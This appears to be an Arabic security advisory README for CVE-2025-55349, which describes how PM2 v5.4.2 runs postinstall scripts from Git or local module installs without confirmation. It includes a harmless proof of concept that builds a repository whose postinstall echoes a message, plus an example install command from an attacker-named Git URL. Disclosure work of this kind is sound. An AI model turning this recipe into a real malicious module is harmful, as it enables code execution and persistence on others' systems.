
مستودع لـ CVE-2025-55349
postinstallالمكتشف: Golden Ticket Labs
البائع: Unitech (pm2)
تاريخ التعيين: 20 أغسطس 2025 (MITRE)
مشكلة في المكون lib/API/Modules/NPM.js من Unitech PM2 v5.4.2 تسمح بتنفيذ تعليمات برمجية عشوائية عن طريق تثبيت حزم تحتوي على نصوص postinstall مُعدة خصيصًا.
يقوم PM2 تلقائيًا بتشغيل نصوص دورة الحياة postinstall من التثبيتات القائمة على Git أو الملفات المحلية دون عزل أو تأكيد من المستخدم، بما في ذلك عند استدعائها عبر:
تستمر هذه الثغرة حتى لو كانت الوحدة معطلة أو غير وظيفية، ويمكن أن تبقى تعليمات المهاجم بعد إعادة تشغيل النظام عند تسجيلها كوحدة إقلاع PM2.
≤ 5.4.2 — معرضة للخطر
6.0.5 — تم التصحيح — تم إزالة منطق تحليل Git (PR #5909)، لكن الإصلاح كان غير موثق وغائب عن سجلات التغييرات.
يمكن للمهاجم إعداد مستودع Git خبيث يحتوي على ملف package.json يتضمن نص postinstall معد. عند تثبيته عبر PM2، يتم تنفيذ النص تلقائيًا:
pm2 install https://github.com/attacker/malicious-module.git
يعامل PM2 مستودعات Git كموثوقة ضمنيًا أثناء تثبيت الوحدات. يتم تنفيذ نصوص دورة الحياة مثل postinstall دون عزل أو رؤية أو تأكيد.
يؤثر هذا على كل من عناوين URL البعيدة لـ Git ومسارات الملفات المحلية file://، مما يوسع بشكل كبير سطح الهجوم. نظرًا لأن وحدات PM2 غالبًا ما تبدأ عند إقلاع النظام، فإن خطر الاستمرارية والسلوك غير المصرح به المضمن عالٍ.
⚠️ لا يتم توفير كود استغلال مسلح. هذا عرض توضيحي آمن.
# إنشاء مستودع خبيث
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# تشغيل التثبيت (على الإصدار المعرض للخطر pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
في الإصدارات المعرضة للخطر، يتم تنفيذ الأمر postinstall فورًا.
جميع المحتويات في هذا المستودع مقدمة للأغراض التعليمية والدفاعية فقط. لا يتم تضمين أي حمولات استغلال. لا تستخدم هذه التقنيات ضد الأنظمة دون إذن صريح.
Golden Ticket Labs
📧 [email protected]
🌐 goldenticketlabs.com